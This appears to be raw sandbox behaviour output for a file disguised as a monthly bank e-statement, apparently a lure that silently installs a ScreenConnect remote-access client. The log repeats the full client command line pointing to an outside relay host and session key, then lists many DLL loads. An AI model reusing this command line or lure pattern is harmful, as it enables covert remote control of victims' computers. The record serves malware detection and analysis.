Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"
Source: unknown	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" "RunRole" "d9b9f156-2a83-4b1f-b5ba-62c20ee02a77" "User"
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2260 -ip 2260	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 700	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" "RunRole" "d9b9f156-2a83-4b1f-b5ba-62c20ee02a77" "User"

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll	Jump to behavior
